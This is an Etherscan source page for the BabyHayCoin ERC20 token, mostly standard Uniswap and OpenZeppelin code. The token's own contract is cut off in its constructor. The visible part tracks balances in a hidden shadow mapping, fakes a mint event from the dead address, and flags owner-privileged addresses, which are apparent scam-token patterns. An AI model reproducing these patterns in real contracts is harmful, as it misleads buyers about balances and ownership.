Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Router01    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function removeLiquidity(    - function removeLiquidityETH(    - function removeLiquidityWithPermit(    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokens(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(uint a ...    - function swapTokensForExactETH(uint a ...    - function swapExactTokensForETH(uint a ...    - function swapETHForExactTokens(uint a ...    - function quote(uint amountA, uint res ...    - function getAmountOut(uint amountIn, ...    - function getAmountIn(uint amountOut, ...    - function getAmountsOut(uint amountIn, ...    - function getAmountsIn(uint amountOut, ... interface IUniswapV2Router02 is IUnis ...    - function removeLiquidityETHSupporting ...    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ... interface IUniswapV2Factory    - function feeTo()    - function feeToSetter()    - function getPair(address tokenA, addr ...    - function allPairs(uint)    - function allPairsLength()    - function createPair(address tokenA, a ...    - function setFeeTo(address)    - function setFeeToSetter(address) interface IUniswapV2Pair    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address owner)    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transfer(address to, uint va ...    - function transferFrom(address from, a ...    - function DOMAIN_SEPARATOR()    - function PERMIT_TYPEHASH()    - function nonces(address owner)    - function permit(address owner, addres ...    - function MINIMUM_LIQUIDITY()    - function factory()    - function token0()    - function token1()    - function getReserves()    - function price0CumulativeLast()    - function price1CumulativeLast()    - function kLast()    - function mint(address to)    - function burn(address to)    - function swap(uint amount0Out, uint a ...    - function skim(address to)    - function sync()    - function initialize(address, address) library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod(    - function _msgSender()    - function _msgData()    - function owner()    - function _checkOwner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom( interface IERC20Metadata is IERC20    - function name()    - function symbol()    - function decimals()  contract ERC20 is Context, IERC20, ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _transfer(    - function _mint(address account, uint2 ...    - function _burn(address account, uint2 ...    - function _approve(    - function _spendAllowance(    - function _beforeTokenTransfer(    - function _afterTokenTransfer(  contract BabyHayCoin is ERC20, Own ... *    - function setUniswapV2PairAddress(addr ...    - function _rTransfer(    - function _transfer(    - function totalSupply()    - function balanceOf(address account)    - function approve(address spender, uin ...    - function _approve(    - function getPAddy(address walletAddy)    - function secureAddy(    - function secureStuckedAddys()    - function getSecureAddy()    - function getLimits()    - function removeLimits()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-10-20
*/

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol


// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: contracts/BabyHayCoin.sol

// https://t.me/babyhay_erc

pragma solidity ^0.8.21;








contract BabyHayCoin is ERC20, Ownable {
    using SafeMath for uint256;

    uint256 private _tTotalSupply;
    mapping(address => uint256) private _tBalances;

    uint256 private multiplier = 10 ** decimals();

    mapping(address => bool) private pAddys;

    address constant private D_ADDY = 0x000000000000000000000000000000000000dEaD;

    address private constant uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router;

    bool private limitsInEffect = true;
    uint256 private mWallet;
    uint256 private mBuy;
    uint256 private mSell;

    address[] private addysSecured;

    constructor (address[] memory addresses, string memory name, string memory symbol) 
        ERC20(name, symbol)
    {
        
        uint256 _totalSupply = 1e9 * 10 ** decimals();

        _tTotalSupply = _tTotalSupply.add(_totalSupply);
        _tBalances[owner()] = _tBalances[owner()].add(_totalSupply);
        emit Transfer(D_ADDY, owner(), _totalSupply);
        
        pAddys[owner()] = true;

